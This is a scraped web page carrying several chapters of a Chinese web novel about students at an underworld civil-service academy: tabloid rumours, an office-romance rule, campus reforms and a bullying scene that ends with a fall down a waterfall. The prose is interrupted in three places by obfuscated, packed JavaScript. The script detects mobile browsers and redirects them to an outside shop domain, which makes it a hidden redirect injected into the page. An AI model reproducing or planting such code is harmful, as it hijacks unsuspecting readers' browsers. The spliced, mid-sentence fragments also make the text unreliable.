后来,这个餐桌上发生了一些混乱,有的碗盘差点被过于激动的手打翻,有的菜肴也因为滴入了眼泪变得太咸,还有的饮料因为狂喜而变得更加甘美……窗外爆竹声声,人们笑着恭贺新禧,总之,这是一个非常非常美满、幸福的新年。 然而,在地府极深之处的后土神殿,气氛可远算不上愉快。 “这成什么样子!”一个男子恨恨地将一份《羊城快报》扔在了桌上,“帝君派他是去巡视地府的,还是让他去四处玩耍的?如此的不庄重,怎配为众祭司之首?” “大过年的,冰月你做什么生那么大气。”一个女孩把报纸捡起来看,报纸上写着一行耸动的标题:绝色男子为获奖品,两小时书写366副春联抽空奖池。还配有以春联为背景的温尔雅的大照片。 “琉琉你还夸他!”冰月抱怨起来:“身为祭司,现身人前时应稳重端庄,就算是与民同乐,也不能做出这么掉价的事情吧?何况现下这样抛头露面,若是被人看破身份,坏了大事怎么办?” “别以为我看不出来,你就是嫉妒他又出了风头了。”琉琉凉凉地吐槽:“有能耐就到帝君面前告状去,别在我耳朵边抱怨个没完。” “哼,谁不知道帝君最护着他……”冰月嘟嘟囔囔,“沾光露脸的活让他去,微服出巡还让他去,帝君简直是……” 琉琉的脸色唰的一下变了,吓得冰月赶紧把喉咙里的“偏心”二字咽了下去,琉琉横他一眼:“说话要注意,敢对帝君不敬,这祭司你是不想当了?” “这些活不让他去,难道让你去?你肚子里有几瓶墨水,连笔试都通不过,整天只知道打扮爱俏,绣花枕头一包草!让你去了才是浪费!” 看冰月依旧愤愤不平,琉琉无奈地摇了摇头,暗骂真是个美丽废物,若十三名后土祭司中有第二个矿精,她早就懒得管他。可惜大多矿精们都相貌一般,加之脑袋都属石头的,禀赋愚顽,能进到祭司行列的少之又少,她也就始终不能放弃冰月这个天然同盟。声音放软,她温言道: “看在同族的情分上,我提点你一句。你我才干有限,当个花瓶祭司在后土大神身边侍奉,已经是几世修来的福分了,比不得温尔雅腹有锦绣,能帮助帝君打理地府大事。你我身为矿精,乃后土大神腹心孕育而成,是她真正的亲族,只要有这一份依凭在,即使你我不出头,地位也不可动摇。” 这话冰月听着倒是很受用,连连点头:“说的是,凭那个温尔雅怎样,怎比得上我们和帝君亲近!” 骗骗你的,你还真信了……琉琉再次对冰月的智商失望了,好在蠢货更好摆布。话锋一转,她恐吓到:“你我依凭对帝君的忠心立足,万不可再从嘴里露出一句对帝君不敬的话,否则吃不了兜着走!巡视地府不是什么好干的活,那温尔雅现在为吃点好的,不惜把奖池抽空,可见外面日子艰苦,怎么比得上我们在后土神殿安闲享受,供奉无数?你有清福不会享,还嫉妒那拉磨的驴,就没见过你这么笨的!” 几句话把冰月说的心满意足,再也不提此事。待他转身走了,琉琉这才抽出时间细细斟酌那份报纸。这份报道内含着非常重要的信息——写春联的是温尔雅,可那张照片里,抽奖的却是另一个女孩。 只有冰月那笨蛋才以为别人都跟他一样,只知道吃好睡好打扮好,人生目标就是耀武扬威压人一头,琉琉很清楚,温尔雅绝不可能为了自己的口腹之欲,便冒着暴露身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她去问,大家只是暧昧的笑,搞得她不知所措。最终,还是白子欣大大咧咧地把一张报纸拍在她面前,才解开她的疑惑。 “平安姐魅力惊人嘛!”白子欣对她挤眉弄眼,“引得温尔雅这般的美男子为你怒写366副春联,只为让你抽空奖池拿头奖,堪比烽火戏诸侯,比言情剧还言情!学校里都传疯了,说你们俩是学霸配会长,校园优等生之间日久生情,还说你们已经去见家长了……话说你们是啥时候好上的?我都没看出来!” “……啥?” 天边飞来一个炸雷,祝平安惊呆了!她只是回去过了个年而已,怎么就从单身狗变成世人眼里的校园cp啦?她夺过报纸一看,两眼一黑,不知道这个《羊城小报》的记者什么居心,言辞间把她跟温尔雅的关系形容的暧昧无比,就差说温尔雅是为了当众示爱,才奋笔疾书为红颜了! 幸好这记者没跟着他们到家里去,否则拍到两个人一块进一间房子,不是更说不清了?不过即使是这样,也够祝平安痛心疾首了:“你是傻的吗?我们成天在一块上学,你都看不出来的事情,当然就是没有了!这小报的记者就是为了销量胡说八道,居然这样凭空污人清白,我找他们去!” “哎呦呦,你还害羞了?”白子欣不知死活,还在那打趣,看祝平安真急了,这才正色道:“这种事情你找了也没用,人家是用报道坊间奇闻的口吻叙述的,只是暗示,又没白纸黑字写着你们俩是情侣关系,构不成造谣诽谤罪。” “再说了,你看这里。”白子欣指了指作者名:“作者是匿名爆料投稿,报纸编辑也不知道他是谁,这是小报记者的常态,你找了也白找。” 祝平安只觉脑门青筋直冒,但诚如白子欣所说,找也找不出个鸟蛋来,何况她学业繁忙,没空跟人家耗,只能忍了这口气:“太可恨了,等以后我上了任,早晚要杀杀小报这股歪风邪气!” 还没等她发狠完,远远地,一个会员就跑了过来:“祝会长,现在去谢必安副校长办公室一趟,副校长说要找你谈谈!” 27. 公职人员的恋爱纪律 一进谢必安副校长办公室的门,祝平安就感到气氛不对。三位校长里,她最怵这位谢副校长,此人在开学大典上给她留下了太深印象,一派雷厉风行不苟言笑,还掌握着平时分的生杀大权,她入学三个月,除了加平时分那次要到谢副校长这里记档,再没跟他打过照面。 谢副校长的办公室风格相当冷肃,纯白空旷,铁门铁窗,像是糊了一层白粉的监狱一样,不过想到他原本的职责就相当于“狱警”,倒也不是不能理解他的装修风格。而现在,办公室里的气氛更是严肃的像是三堂会审,谢必安在桌案后一坐,面色阴沉,宛然就是一个审判官,他身侧,站着一个脸色比他更阴沉的陪审员,正是张松鹤。 不妙啊,顶头上司跟大领导一起找你谈话,还有比这更恐怖的事情吗?祝平安决定夹紧尾巴做人,一进门就低头给两个人鞠躬:“部长好,校长好。” 可喜的是,张松鹤虽然脸色阴沉,到底还是说道:“你坐。” 很好很好,还让我坐,看来事情不会太严重,祝平安也不敢全坐,小心的在沙发上搁下半边屁股:“二位找我来,是有什么事情需要我做吗?” 谢必安与张松鹤对视一眼,最终还是张松鹤开口了:“学校听说,你跟街镇行政部的温尔雅在谈恋爱,有没有这回事?” 祝平安往后一仰,只觉再起不能,常言道好事不出门坏事传千里,现在看来,坏事没有八卦传播力强,这才一两天的功夫,怎么连校长都知道了? “不是!我们是清白的!”祝平安字字啼血了。 “你们没谈恋爱,那这是怎么回事?”谢必安掏出一份《羊城小报》,祝平安再度两眼一黑,该死的小报,怎么给她惹那么多麻烦! “真的不是啊!我们只是单纯的朋友!他参加活动那是因为……”因为什么?温尔雅参加活动不就是为了让她高兴吗?祝平安一时卡了壳,不知道怎么说好了。 “你别紧张,你们都是成人,又不是早恋,你怕什么?我跟你的部长今天叫你来,只是为了要跟你宣讲一条纪律。”谢必安看她紧张,安慰了两句,“原则上,我们不反对学员恋爱,但是琢玉学院不是寻常学校,你们这些学员将来都是差役,所以有些纪律现在就要贯彻。” “同部门者,不得谈恋爱;有上下级关系者,不得谈恋爱;事务上下游部门,不得谈恋爱。”谢校长一一为祝平安说明了,“同部门者谈恋爱,会给人员管理增加难度;上下级谈恋爱,就有偏私提拔的嫌疑;上下游部门谈恋爱,如法院和检察院的人员相恋,就容易通同舞弊,一手遮天,都会给政府造成不好的影响。” “您不用跟我说的这么详细,我真的没有……” “除此之外,在公共场合高调牵手秀恩爱也是禁止的。”谢必安压根没理她,“倘若被公众识破了身份,立刻就会被舆论抨击作风,还会质疑政府的清廉问题。危及政府形象不说,对你们的影响也很坏。虽说你们还不算正式的公职人员,也没有造成严重后果,但我还是要扣你们5分平时分。” 啥?! 祝平安目瞪口呆,平时分很不容易加的,她辛辛苦苦操持了志愿者协会,才加十分而已,一下子扣掉五分?简直比割肉还疼! 她不禁满腹委屈:“校长,我们不是高调秀恩爱!温尔雅只是感谢我家邀请他过年,才投桃报李想让我高兴的,您……” 张松鹤看她一眼,她连忙把“您处事不公”五个字咽下去,硬生生转换成更柔和的:“您是不是再考虑一下我的说法?” “你们谈不谈恋爱,很难有实证;但这张报纸,至少说明了这件事的影响不好,我不是不相信你的说法,只是,你还记得平时分的意义吗?”谢必安收起那张报纸,“平时分就代表你给人的印象,高调示爱还上了报纸,不明真相的群众必定认为你行事轻浮,若被人知道你们是预备差役,甚至还有以权谋私的嫌疑,我这也是秉公处理,并非不信你。” 谢必安的话在逻辑上无可挑剔,难道就不能再争取争取了吗?祝平安把祈求的目光投向张松鹤,张松鹤想了一会开口了: “若是不想让别人觉得你行事轻浮也可以,你们俩现在就登记结婚,这样的话,此前的高调示爱就成了你们情谊坚贞的佐证了,稳定的婚姻对仕途也有好处,说不定还能加分。怎么样,你干不干?” “谁要干哟!我清清白白一个单身狗,大好前途等着我呢,只是被小报八卦了一下而已,怎么就扯到要结婚啦!”祝平安愤怒咆哮了! 听到她这么直白的拒绝,张松鹤脸色立刻柔和,噗地笑了:“看来是真没谈恋爱,要不然,你肯定要顺杆子爬上去的。” 他看到那张小报时,心里就隐约有些不舒服,现在,随着祝平安果断的拒绝,那些情绪也烟消云散。他一向很欣赏祝平安,相信她未来的前途不可限量,但那是在她一心扑在事业上才会有的前景。 要是跌入温尔雅这种美貌温柔的恋爱陷阱,祝平安的精力肯定要被占去一半,像是寻常女子一样,恋爱、吵架、分手、和好、随之而来的就是情绪起伏影响工作状态,甚至还时不时要请长假,工作效率大打折扣,让他的慧眼挖掘和倾心栽培都付之流水……哪个上司会喜欢这种未来呢? 祝平安无语地瞪着他,他走到祝平安身边,低声道:“好好表现,后面多做点成绩出来,我不会让你吃亏的。” 祝平安听懂了他的潜台词:人家扣得,难道我就加不得?她立刻收了声,向谢必安低头认罚了:“副校长的教诲我记住了,以后一定谨言慎行。” “知道了就好,你回去吧。”谢必安也不欲难为她,对于张松鹤的话只当没听见,挥手放祝平安回去了。 祝平安踏出谢必安的办公室,一转身就看见温尔雅也从对门范无咎的办公室出来了,想必是跟她遭遇了一样的谈话。一想到自己今天的遭遇都是因温尔雅而起,祝平安本想生气,但是又气不起来——人家对她好,难道还好出错了?大螃蟹她祝平安当时吃的就不香?归罪温尔雅根本没道理!还是小报的不对…… “平安,校长是不是也扣你平时分了?”温尔雅看见她,抢先道歉了,“我做事考虑不周,给你添麻烦了,真是对不住。” “别说这些了,都是无妄之灾,怪不得你。”祝平安摆了摆手:“只是今后我们交往,要更加谨慎一些,最好每次见面都有第三者在场,单独补习也算了吧。” 果然,孤独和冷寂才是生活的常态,刚刚才得到的一丝温暖,转瞬就会熄灭……温尔雅的瞳孔瞬间变得黑沉沉的,如同暴风雨前的大海。而祝平安还一无所知:“你别多心,我不是要与你生疏,只是现下要避避风头,姿态必须大方些。以后毕了业,咱们还是好朋友,往来就不用考虑这么多了。” 她拍了拍温尔雅的肩膀:“你不是知道我家在哪吗?等咱们毕业了,你想来就来,我保证每次都好好招待你!” 不是要与我生疏,只是暂避风头吗……温尔雅努力想从祝平安的话语里找出说谎的痕迹,却只见她笑容明净,一番话句句真心,不知不觉就驱散了温尔雅眼中的阴霾。他也微笑了,为表配合,他故意用职务称呼祝平安了:“好的,祝会长。” “那就这样吧,温会长。”祝平安俏皮地向温尔雅伸出手,两个人很公事公办、假模假式的握了握,又觉得这样有点好笑,忍不住噗呲一声笑出来。 “明天活动教室见!”祝平安向温尔雅挥手告别了,温尔雅也含笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837496|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应。一转身,他的脸色立刻变了。 他必须要做两件事,第一,查清楚那该死的《羊城小报》是怎么回事;第二,既然以后只能在公事场合才能接触祝平安的话,那恐怕,志愿者协会以后的公事场合,就会有很多、很多了…… 同样的,祝平安也在暗暗捏紧拳头发誓了:为了把平时分给补回来,一定要再做点成绩出来!要让张松鹤多多的给她加分,还不能被外人挑出毛病! 于是第二天,金毛毛面前就多出了两份计划书,分别是来自祝副会长的《关于加强我校学员实地研修技能的提议》,和温副会长的《论团体实训疏》。内容也是大同小异:随着三个月的小组补习,会员们的各门课程都在逐步向好,现在协会的会员们想要通过课程考试已经基本无压力了,但能否通过实地研修考试,却不好说。 开学大典上,范无咎校长曾说过:实地研修,就是考验大家把在校期间所学知识运用到实际的能力,相应的,志愿者协会也应当帮助大家尽快掌握这种能力! 在此,祝平安和温尔雅双双提议,应当将目前的会员混编成小组,再以小组为单位帮助学校解决实际问题(譬如大家都吐槽的食堂难吃、洗澡位置难抢、交通不便等),每个小组都有多个部门的学员,以此来模拟真实的工作环境,让大家能各展所长,学会合作,为通过实地研修考试做准备! 两大副会长(也是实际掌权人)都想推行的事务,何况还对大家都有好处,金毛毛有什么理由拒绝呢?眨巴着大眼睛,金毛毛在计划书上盖了章,接下来,计划书被一路递上去,历经张松鹤、谢必安、范无咎的签章,最终送到了校长魏玄成的案头。 细细阅读了这两份计划书,魏玄成手捻胡须看的入神。 “这些学员里,居然还真有人才,在校期间就能做出这样的计划书。”谢必安喝下一口茶,询问范无咎:“这跟你一开始想的实地研修考试内容都差不离了吧?” “是呀,这些学员,真是让我惊讶。张部长,祝平安可是您的得意门生,您不会给她透题了吧?”范无咎挑挑眉毛,把怀疑的目光转向张松鹤。 “定然不会是张部长透露题目。”说话的却是魏玄成,他把两份计划书往前一推,示意大家来看:“这两份计划书虽然中心思想一致,但侧重点却有所不同。祝平安这份计划着眼于解决问题,谈了很多学校内的顽疾,但计划细节略显稚嫩。温尔雅这份计划,着眼于团体参训,各部混编,行文老辣,连鄙人也很难挑出错处。倘若是张部长泄题所致,两份计划书不可能有这种分歧。敢于承担,长于实干……这二位学员,是地府需要的真正人才。” “那么校长您的意思是?”张松鹤向校长微微欠身,开口询问了。 “自无不可。”魏玄成大笔一挥,签字同意:“传我的话,祝平安和温尔雅各加十分平时分,此后志愿者协会享有资源调配权利,一切非教务人员应尽力配合,给予方便。” 他在计划书上盖上学院的印章:“这些孩子们还能折腾出什么花样,就让我们拭目以待吧!” 有了校长拍板,志愿者协会的会员们很快发现,噩梦……开始了。 在祝副会长的安排下,他们被混编成了十人小组,每个小组都要负责参与到学校治理工作中来。而温副会长则制定了更详细的工作制度:为了通过实地研修,起床时间又被迫提前了!现在每个小组在上课前都要开晨会,汇报工作进度!每周还要搞周报! 晨会上,温尔雅唇角微扬,大大方方地坐在祝平安身边,时不时对祝平安的发言提出意见,非常的公事公办,任谁看了都得说两人交往之正大光明。 谁能想到,这一切的起因,是一份《羊城小报》呢? 28. 蝴蝶效应 在志愿者协会的热(真)情(抓)服(实)务(干)下,琢玉学院的学员们逐渐发现,他们的生活有了可喜的变化。 首先,让最多学员受惠的,则是自来水铺设工程。一眼山泉水供应近万人洗澡,就算是错峰分流也还是跟下饺子一样,每天抢澡位都有人打起来。 为了解决这个问题,一个同时拥有水务部、工程部、武装部学员的小组,发动诸多学员上山砍竹子,然后在短短十天内,通过竹子拼接成土法引水渠,将山泉水引到了宿舍区,还在宿舍区的一角建立了淋浴间!这下学员们需要洗漱的时候,就不用苦逼兮兮的走上二十分钟了,抢澡位的事情也得到了杜绝! 其次,交通条件也改善了。此前,七槐山这里根本就没有公共交通,学员们要么是家里送来,要么是打出租过来,想要离开,那可就难了,站上大半天也不一定能等到出租!学校养的送魂鸟还得申请才能使用,想要出门,基本只能靠走,实在是太不方便了! 针对这个现状,一个同时拥有道路运输部与街镇行政部学员的小组,做出了自己的努力:他们先是以学院的名义成立了一个居民组织,以此向交通部要求开通羊城-七槐山的公交班次! 虽然交通部考虑到长期成本驳回了这个提议,但是,道路运输部开通了附近小镇(卫珑往返送信的那个镇)到七槐山的交通班次!这下,学员们坐二十分钟的送魂鸟接驳车,就能到镇上周转去别的地方啦! 交通方便了,商务的条件就达成了。一个同时拥有商务部和城市规划部学员的小组也灵机一动,他们到附近镇上去招商了。此前学院连个杂货铺都没有,大家购物都极不方便。虽说学校包吃住,但大家也有其他日用品需要添置,要购物的话,要么徒步去隔壁镇上买,要么写信让家里寄过来,麻烦得要命。 隔壁镇的大超市听说琢玉学院这里,有两万多名师生时,欣然同意来此开办分店。摊贩们也都嗅到商机,不几天,琢玉学院大门口就变成非常热闹的市场了!学员们下了课,走上一会儿就能来到超市添置日用品,在忍受不了食堂荼毒的时候,也能出来买点炒粉、鸡蛋仔、肉夹馍等小吃,抚慰自己的五脏庙了。 检查道路卫生、抽检食品安全、防备小偷小摸、制定消防条例、巡视物价高低、发布天气预警……围绕着这个市场,坊市营缮部、食安巡检部、公共安全部、消防署、市监部、应急部的学员都有了应用自身技能的场所。不仅如此,摊贩们还要向学院缴纳管理费,办理摆摊证,于是,审计、税务、金融部的学员也有了自己大展身手的机会。 农业部的学员在山腰开了梯田,种下了速生菜,一个月后就收获不少,几乎都能供应食堂一半的青菜量了;医疗部的学员用申请教具的名义搞来了一套外科手术所需器械,还有真正的医疗帐篷——这学校终于能做最基础的急救了,之前学员训练时受伤都得去羊城治疗;登闻部的学员发起了“我为学校提建议”活动,短短两天就收到了几千条诉求,等着各小组一一改善治理…… 每一名会员虽然都被晨会和周报整的叫苦不迭,但同样的,他们也在这个过程中受益匪浅。他们的人际交往能力提高了,预算意识变强了,细节考虑的周到了,对审批流程也熟悉了。 两个月磨砺下来,虽说也出了不少乱子,但学员们惊奇的发现,原来只要想做,大家团结一致,就能够把一件事情做成、让生活变好。这个认知,可是大部分学员此前从未有过的!毕竟之前他们都是老百姓,到哪里去培养这种公职人员的认知呢? 信心增强了,他们的行动开始变得更加果断、更加自信,学校不仅仅是学校了,而是大家花费了心血,胼手胝足搭建起来的试验田。每一个人都用心地灌溉着它,希望它变得越来越好,这也支持着大家不断进行工作优化,学员们身上已经隐隐有了那种严谨、精干、可靠的味道——那正是魏玄成最希望学员们长成的样子! 魏玄成同意这个计划的时候,已经做好了亏本的准备。本来他以为学员们能够从学校财政榨出点钱,把自来水通了就不错了,当看到那繁华的市场、后勤支出减少的报表、可观的管理费收入时,魏校长笑的嘴巴都咧到耳朵后面去了。 他这才明白,自己当真小瞧了这些学员的潜力,按照这样的趋势下去,这些学员在各自的岗位一定能大放异彩! 南美洲的蝴蝶扇动了一下翅膀,两个月后酿成了太平洋上的龙卷风,两个月后,连计划发起人祝平安都没想到,学校能有这种翻天覆地的变化! 虽说一项项治理工程都是她签字通过的,但……她都快不认识这里了——一个荒山野岭的帐篷区,现在宛然像个真正的小镇了! 大家真是聪明能干呀,但是我自己就一点成绩都没做出来……祝平安有点emo了。不是她的小组不努力,而是……她的小组可能,选择了一个特别难啃的课题。 没错,祝平安这个小组决定解决的难题,是怎、么、让、食、堂、的、炒、菜、更、好、吃! 祝平安这个小组的成员,大家估计也都猜到了,除了她们寝室的四个人以外,还有金毛毛、白子欣、温尔雅,以及六道轮回部、□□的两名学员,因为会员人数不够分,所以并没满十人。 为解决食堂问题,组员已经想尽了办法,譬如,□□的学员搜罗了无数的菜谱,林四梅从当过炊事兵的战友那里搞来了一套教授厨艺的视频课,白子欣将老妈供奉的美食分享给厨子,希望他能获得一些关于食物的正常品味……但不管怎么努力,食堂的炒菜水平还是——一如既往的难吃。 桂中秋已经在研究给食堂培育新品种蔬菜了,怎么糟蹋都不会难吃的那种;叶霆霓则在翻看法律条文,考虑给厨子阿琴安个危害公众食品安全罪,拉去十八层地狱算了;祝平安一边考虑办法,一边还要盯紧叶霆霓别乱来,感觉心力交瘁。 愁啊愁,但是该干的活还得干。最近他们的工作方法是紧盯厨子的一举一动,看到底是哪个环节出了问题。祝平安下了课,就认命的往食堂走去,要不是实在没空,她都考虑干脆自己上阵当厨子算了!一劳永逸! 月色温柔,百花芬芳,多么美好的夜晚呀,居然要去食堂遭受荼毒……要么绕路过去吧?能拖延一会是一会…… 这么想着,祝平安的脚悄悄踏上了另一条路,她打算绕着后山泉水(原本的女澡堂)走一走,泡个澡什么的,也好提振一下精神。 后山安静极了,在自来水系统开通后,已经几乎没人会来这里洗澡了,祝平安打算久违地享受一下包场泡澡的感觉,然而就在她快要靠近水潭的时候,忽然听到有人说话的声音。 咦,现在还有人在洗澡吗? 祝平安停下脚步,偏头看去,在最上方的水潭旁,有几个女子正坐在石头边嗑瓜子聊天,她们旁边是两大盆堆积如山的脏袜子,水潭边还蹲着一个人,背影细细瘦瘦的一小条,正在努力的洗袜子。 “没想到你还有今天吧,大小姐。”嗑瓜子的女人呸地吐掉瓜子皮,正好吐在洗袜子那人的脸上。看到洗袜子那人侧头闪躲,她眼里闪过一抹快意,大声呵道:“不准动!” 那人听了她的话,居然真的不动了,可就是这么一侧脸的功夫,祝平安已经认出了那人的身份——卫珑!她怎么在这洗袜子? 自从公交线路开通后,镇上的邮政部门也就把琢玉学院纳入管理范围了,卫珑不再需要来回送邮件,加之学校各方面建设如火如荼,卫珑的工作也就一天天变少,她又没加入志愿者协会,祝平安也很久都没看见她了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837497|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这次再看她,怎么好像变得更瘦了? “哟,还真就不动了,够听话,比我家养的狗还听话呢,来,汪汪叫两声。”嗑瓜子的女人嘻嘻笑着,故意又吐了个瓜子皮在卫珑脸上。 卫珑一声不吭,手上不停的洗袜子,女人生气了,在卫珑的胳臂上重重拧了一把:“我在跟你说话,没听见吗?” 祝平安皱起眉头,这是在干什么?这几个女人是谁,为什么要这么做? 很快,另一个声音响了起来:“吴可,别动手,留下痕迹就不好了。” “万依依,你怕什么?”吴可继续咬牙在卫珑胳膊上拧了一把,看手劲就挺疼的,“之前她老是在人前出现,可能还有人发现她不对头,现在自来水已经通了,洗澡也都在宿舍了,谁会看见她身上有伤?陈春雨,你说是不是?” 叫陈春雨的女人懒洋洋倚在一边:“可不是?之前还怕她家里人来找茬,结果连她家里人都不要她了,这几个月就没有一封家信寄来,就算她受了伤也没人在意。 “听见了吧?这世界上没人要你了,好好听我的话,我还让你舒服点,要不然有你好看的!”吴可得意洋洋,“让你高贵!让你不拿别人当人,今天你就试试当狗的滋味吧!” 听到这话,卫珑的头垂的更低了,祝平安也暗暗摇头,这几个人的嘴真是跟刀子一样毒辣,从言谈间,她也听出了这几个人的身份,应当是卫珑的室友。 真是风水轮流转,卫珑刚到学校,对室友颐指气使的时候,想得到自己有一天会在这里受辱吗?怪不得这几个人这样对待卫珑,看来是早有旧怨啊。 既是如此,祝平安也不愿插手,卫珑自作自受,被苦主报复一番出气也是应当的。她转过身,身后又传来吴可的叱骂声:“叫啊!你叫啊!装哑巴给谁看,之前你的嘴不是很会说吗?” 吴可骂了几句,见卫珑始终不吭声,便解下皮带,抡圆了抽在卫珑背脊上,发出啪的一声脆响,这声音让吴可激动地一阵颤抖,两颊发热。看着卫珑跳着躲避她的抽打,吴可心里满是报复的快意:有钱人了不起吗?家里有权了不起吗?一朝被家里抛弃,还不是要像现在这样,要被她踩在脚下! 平心而论,卫珑之前欺负吴可相对较少,因为那时候吴可还算是她的“小姐妹”。吴可这人一双势利眼,见到卫珑举止用度不凡,便处处捧着她,希望与她交好,意图分润好处。相应的,卫珑对她比较和气,也就使唤吴可洗过一次袜子而已,万依依和陈春雨才是真的被卫珑当丫鬟用。 常言道媚上者必然欺下,否则无法发泄在上位者处承受的压力,心理就会失衡,吴可就是个活生生的例子。抢着拍卫珑马屁的是她,后来见卫珑失势,对卫珑动辄打骂的也是她。真正被欺负的万依依和陈春雨,倒没她这么炽烈的报复心。 每次看到昔日那个高高在上的大小姐低着头,给她洗袜子、跑腿、做粗活,吴可心里就充满了变态的快感,好像把卫珑踩在脚下,就证明了自己的能力,征服了卫珑出身的阶层,这感觉让她陶醉不已。 之前卫珑有很多校务杂活要做,吴可捞不到什么机会使唤她,近来学校的工作都被志愿者协会解决了,卫珑也就有更多时间待在宿舍里,也就是落入了吴可的掌控中,这不能不说是一种命运的蝴蝶效应了,志愿者协会的实训计划,居然顺带着酿成了卫珑的灾难。 刚开始,吴可也还算收敛,只不过是使唤卫珑打扫卫生、带早饭、买东西而已,最多嘴上讽刺几句。可随着卫珑的不反抗,也不见有人出头,吴可的胆子也越来越大,逐渐她开始上手推搡、拧掐卫珑,再到用皮带抽打她。 皮带落下,声音清脆,吴可的动作越来越快,越来越狠…… 意外,就是这个时候发生的。 29. 对不起,没关系 卫珑已经很累了,从前天开始,她就没有吃饭,吴可一直盯着她,不准她吃任何东西。今天上午,吴可又无端发作,让她蹲在这里洗了半天袜子,现下,几皮带抽下来,她已经觉得支撑不住,吴可丝毫没留力,每一下都打的她额冒冷汗。 她本来不想躲的,她早已下定决心,要用最端正的态度来面对自己的惩罚。她从前待室友们不好,所以室友们不管怎么对待她,她都觉得自己是罪有应得,包括被吴可抽打辱骂,也是她赎罪的一部分。 等到室友们出够了气,她就算是赎完了罪,到时候,她就能洗脱过去的黑暗,迎来清清白白的新生…… 可是,好疼,真的好疼呀。 皮质腰带抽在身上,好像能把她的皮肤生生抽破一样,皮带扣用力砸在脊背上,立刻就在背上留下一块淤青。这痛苦像是火烧一般灼痛,像是痉挛一般扭曲,卫珑的四肢背叛了她的意志,开始像是落入罗网的活鱼一样徒劳地蹦跳着,试图逃离这痛苦的命运。她的大脑因缺乏食物而一片模糊,眼睛逐渐失去焦距…… 脚下突然一轻,身体自由下坠,吴可那扭曲的脸迅速离她远去,风鼓起她的头发和衣袖,她迷迷糊糊地想,啊,原来坠落是这种感觉吗? 这感觉……这感觉很不好,原来,坠落是这么一件可怕的事情…… 一滴泪悄悄渗出了她的眼角,卫珑用最后一丝力气昂起了头,群星眨眼,夜色宁静,她的眼睛看到了无比皎洁美丽的明月。 远处,祝平安在听见皮带发出的脆响时就回过了头,看到那伙人在抽打卫珑时,祝平安感到不管不行了:报复一下出出气可以,但你们也不能太过分了吧! 她所处的位置离最上面的水潭还有一段距离,声音向上传递不易,喊了好几声那伙人也没听见,还打的越来越用力了。祝平安只好往上爬,还没爬几步,就看到卫珑跳着躲避吴可的抽打,不慎踩到一块长满青苔的石头上,脚下一滑,从最顶部的水潭跌落了下来。 这处的水潭群以瀑布相连,山势跌宕落差约有三四十米,近日又逢春汛,水流湍急,卫珑这一跌非同小可,她先是噗通一声掉进第二个水潭,接着又被湍急的水流裹挟了下去,又被冲进第三个水潭! 祝平安吓得心都凉了,如此跌落上七八次,人还能活吗?她这会儿满心都想着不能出人命,也立刻连滚带爬地往水潭冲去,可恨距离甚远,最终,她在第六个水潭截住了卫珑。 她跳进水里,将卫珑拖上岸来,卫珑轻的让人难以置信,一张脸比她这个溺死鬼还苍白,哪里看得出当初的风采?再看身上,皮肤在跌落过程中被水潭底下的石头割破,大大小小都是血口子,脊背和四肢还能看到被皮带抽出来的淤痕,鲜红的血与身上的乌青混在一起,令人触目惊心。 “卫珑?卫珑?”见卫珑两眼紧闭,祝平安柔声呼唤着她的名字,用力拍拍她的脸,“醒醒,醒来看看我。” 卫珑还是不睁眼,祝平安又是掐人中,又是捏虎口,又想起生前学过的胸外按压急救,也死马当活马医地按起来。最终,不知道是那一招管了用,一口气从口唇边溢出来,卫珑缓缓睁开了眼睛。 “太好了,你醒了。”祝平安松了口气,把一根手指举到卫珑眼前:“你看,这是几?” 她期待地看着卫珑,谁知,卫珑的举动却出乎她的意料。没有回答她比划的是几,卫珑一把握住了她的手,攥的死紧死紧。 “对不起,对不起……”卫珑轻轻地说,两道眼泪从那双曾经骄傲美丽的大眼睛中滚滚滑落,“我现下知道了,从半空掉下来很可怕,被人欺负,很不好受,都是我错……” 她起初只是默默流泪,很快又变成了小声的抽噎,最终,她像是个知错的孩子一样嚎啕大哭起来,她哭的很难看,嘴巴大张,面容也扭曲了,鼻涕眼泪混成一团,额头也渗出汗水,不知道是疼的还是激动的,身上的血口子随着她的哭声又开始渗出鲜血,“对不起,对不起,祝平安,你能不能原谅我?” 这不同于卫珑此前那口服心不服的道歉,感受到她话语里那份真挚的歉意,看着卫珑哭的凄凄惨惨的模样,祝平安的鼻子一酸,哎呀,她居然也流出了热泪。 “……没关系。”她尽量放柔声音,卫珑身上已经找不到一块好肉,她便轻轻的抚摸着卫珑的头发,好像在安抚一个不懂事的小妹妹,“我早就原谅你了,不是吗?你还记得吗,有一张小纸条,上面写着新年快乐……” “是的,是的,你祝我新年快乐……”卫珑的嘴角边也勾出一个浅浅的笑容:“从今以后,我一定好好表现……我认罚,赎罪……” “好了,过去的事情不提了,你已经表现的很好了,我都知道了。”祝平安轻轻地将卫珑放在一块相对平整的石头上: “不要说话,那样会耗费你的力气,你闭上眼睛,好好休息一会儿,我要去料理一点事情,马上就送你医务室。” 得到了祝平安的原谅与抚慰,卫珑含着笑意闭上了眼睛,昏睡过去。祝平安从怀里掏出桂叶胸针戴上,转过身,她满含怒气地对上了从上方水潭赶下来的三个女人。 